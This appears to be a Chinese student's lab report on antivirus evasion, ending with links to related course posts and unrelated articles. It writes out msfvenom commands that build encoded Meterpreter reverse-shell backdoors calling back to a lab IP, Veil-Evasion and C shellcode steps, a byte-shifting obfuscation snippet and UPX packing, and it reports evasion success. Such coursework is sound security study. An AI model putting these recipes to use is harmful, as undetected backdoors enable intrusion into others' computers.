20155202张旭 Exp3 免杀原理与实践

AV厂商检测恶意软件的方式主流的就三种:

  • 基于特征码的检测
  • 启发式恶意软件检测
  • 基于行为的恶意软件检测

我们要做的就是让我们的恶意软件没法被这三种方式找到,也就是免杀。具体的手段有:

改变特征码

  • 依靠分片等方法尝试找出特征码区域,并对该区域代码进行编码
  • 加壳,使其无法进行逆向,比对病毒库中的特征码

改变行为方式:

  • 如果你手里只有EXE
  • 有shellcode(像Meterpreter)
  • 有源代码

改变行为

  • 通讯方式
  • 操作模式
  • 例如之前注入所用到的反弹端口连接

非常规方法

基础问题回答

免杀是做什么?

  • 防止被杀软检测出来

免杀的基本方法有哪些?

  • 1.改变特征码
  • 2.加壳

开始实验:

1.Msfvenom使用编码器

  • Msfvenom是Metasploit平台下用来编码payloads免杀的工具。以Metaspliot的知名度和普及度。理所当然,所有AV厂家都盯着呢,一有新编码算法,马上就得加到特征库里。

编码后呢,按理论上讲,编码会降低检出率,大不了多编码几次,总会检不出来。

一次编码;

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai  -b ‘\x00’ LHOST=192.168.1.110 LPORT=5202 -f exe > 20155202.exe
  • 很遗憾,刚生成就直接被360删除了

然后测试10次编码,发现并没卵子用。

 msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai  -i 10 -b ‘\x00’ LHOST=192.168.1.110 LPORT=5202 -f exe > my_v1-10.exe

2veil-evasion

  • 我不会告诉你我安装了一天的。

  • 这是一个和Metasploit

    类似的免杀平台,Kali里没有

    在Kali终端中使用sudo apt-get install veil安装

  • 安装完成后继续安装Veil-Evasion,好像像那么回事

  • 后面好像是在安装python?但是好像出过错,所以我最后直接删除了pythen.

  • 安装完成后,我发现和别人的都不一样,最后我抱着破罐子破摔的心态veil进入程序,然后一路按no,结果居然出现了正确的界面。

  • 在终端中使用``````veil命令进入应用,输入use evasion进入veil-evasion 输入use python/meterpreter/rev_tcp.py```,然后设置回连IP和端口,生成后门文件:

  • 真的尴尬,居然出错了,很绝望,好在这时候我看了5201同学的博客,发现只要将use python/meterpreter/rev_tcp.py改成use c/meterpreter/rev_tcp.py

    后面一样,然后生成了可执行文件,所以说大佬永远是大佬。

  • 看看Viruscan的扫描结果怎么样吧,这一步我并没直接找到生成的文件,我用了 cp -r 要复制的文件夹绝对地址 /root 命令,将那个文件夹复制到主机root目录下,取出来了.exe程序

  • 扫描。

比MSF进步了一些,但是还是有8个引擎检测出来了有后门。
  • 尝试回连,回连成功,并且进行录音:

360不得不说称得上王者啊!!!!

3. C语言调用Shellcode

Windows环境编译

  • win7虚拟机不支持vs,所以这个实验被迫在关了360的主机上做的,说实话,崩了好几次,、在VS里编辑编译。

  • 编译好后又无情查杀

  • 回连先ping通,然后再做是没有问题的

  • 还是一样用Viruscan和360扫描一下

  • 真的是好了不少啊。

4,.通过组合应用各种技术实现恶意代码免杀

  • 我的加壳免杀很简单,因为我认为如果一个算法很优秀,并不是以它的复杂程度来判别的,我运用了上一步中的shellcode的基础上加上了我对每一位进行加一运算,出来了一个很丑的东西,我的算法是这样的:
int main()
{
int i;
char a[500];
for(i=1;i<500;i++)
a[i]=met[i]+1;
for(i=0;i<500;i++)
printf("%x",a[i]);
}


  • 经过一番细心梳理后完成了对其的编译,看,是不是很漂亮:
  • 然后去查杀一下 ,看看是不是很优秀,其实我还是很谦虚的,0%的报错,安谁电脑里都会很难受吧他们哈哈哈哈。

4.加壳处理

  • upx是一种压缩程序,可以实现加壳的功能,该指令加壳的命令格式是:upx #需要加壳的文件名 -o #加壳后的文件名
  • 检测一下查毒功能
  • 还是有一些软件能查到,但是360却不报错,真的是神奇
  • 经过测试回连成功,图片忘保存了嘿嘿。

离实战还差哪些技术或步骤

  • 如何自动在别人电脑上把自己加密过的病毒解密释放仍然是一个问题,现在的实验归根结底还是自己把东西拷到别人机器上,别人的ip地址都获取不了,何谈后面的一切?

实验体会

  • 这次实验真的是花了两天时间,veil的安装问题百出,好在最后成功运行,这次实验分了四个阶段,让我对病毒的认识有了进一步的提升,同时深刻看出了当今杀毒软件的脆弱以及各杀毒软件之间水平的差异,所以,谨慎小心对于我们这个行业的学生来说是非常重要并且安全威胁是近在眼前的!

20155202张旭 Exp3 免杀原理与实践的更多相关文章

  1. 2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践 免杀原理及基础问题回答 一.免杀原理 一般是对恶意软件做处理,让它不被杀毒软件所检测.也是渗透测试中需要使用到的技术. ...

  2. 2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践 一.实践目标 1.1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳 ...

  3. 2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 主要依托三种恶意软件检测机制. 基于特征码的检测:一段特征码就是一段或者多 ...

  4. 2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践 实验内容(概要) 一.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...

  5. 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践

    - 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践 - 实验任务 1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...

  6. 2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践

    2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 1.对某个文件的特征码进行分析,(特征码就是一类恶意文件中经常出现的一段代 ...

  7. 2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践 免杀原理及基础问题回答 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil- ...

  8. 2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用 ...

  9. 2018-2019-2 网络对抗技术 20165225 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165225 Exp3 免杀原理与实践 一.实验说明 1.1 正确使用msf编码器(0.5分),msfvenom生成如jar之类的其他文件(0.5分),vei ...

随机推荐

  1. 2018-10-16 22:56:13 c language

    2018-10-16 22:56:13 c language 我们把上面的步骤总结一下,可以发现一个完整的编程过程是: 编写源文件:这是编程的主要工作,我们要保证代码的语法 100% 正确,不能有任何 ...

  2. 使用 Azure CLI 创建 Windows 虚拟机

    Azure CLI 用于从命令行或脚本创建和管理 Azure 资源. 本指南详细介绍如何使用 Azure CLI 部署运行 Windows Server 2016 的虚拟机. 部署完成后,我们连接到服 ...

  3. Css基础笔记(部分)

    <!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title> ...

  4. 使用动态跟踪技术SystemTap监控MySQL、Oracle性能

    [IT168 技术]本文根据吕海波2018年5月11日在[第九届中国数据库技术大会]上的演讲内容整理而成. 讲师介绍: 吕海波,美创科技研究员,ITPUB管理版版主.出版技术书籍<Oracle内 ...

  5. 从MySQL slave system lock延迟说开去

    本文主要分析 sql thread中system lock出现的原因,但是笔者并明没有系统的学习过master-slave的代码,这也是2018年的一个目标,2018年我都排满了,悲剧.所以如果有错误 ...

  6. Linux之因BASH造成的键盘错误和环境问题

    对于Linux我们习惯使用/bin/bash.并且大多数人操作在Centos系统上,但是仍有不少人在ubuntu上使用,两个操作系统大同小异.都是使用了Linux内核.接下来就来讲讲我使用过程中两个系 ...

  7. PgSQL基础之 安装postgresql数据系统

    参考这位仁兄的文章,真的非常好:https://blog.csdn.net/jerry_sc/article/details/76408116#创建数据目录 后来我又自己写了一个shell脚本,来自动 ...

  8. AfxBeginThread

    用户界面线程和工作者线程都是由AfxBeginThread创建的.现在,考察该函数:MFC提供了两个重载版的AfxBeginThread,一个用于用户界面线程,另一个用于工作者线程,分别有如下的原型和 ...

  9. Emmm,从删库到跑路系列之.......Root权限的重要性

    中午导入了一个.SQL文件,晚上查navicat的数据库死活打不开 错误代码1030,想起来中午导入了mysql数据库的user表,而那里面什么也没有... 默默删掉了data,然后emmm --in ...

  10. Alpha事后诸葛亮(阳光普照队)

    Alpha事后诸葛亮 设想和目标 1.实现文字识别,以用户喜欢的图片做背景将其保存,生成新的图片. 2.时间比较赶,主要是因为队员对于Android开发方面的了解不多,可以说是几乎没有,需要一步一步的 ...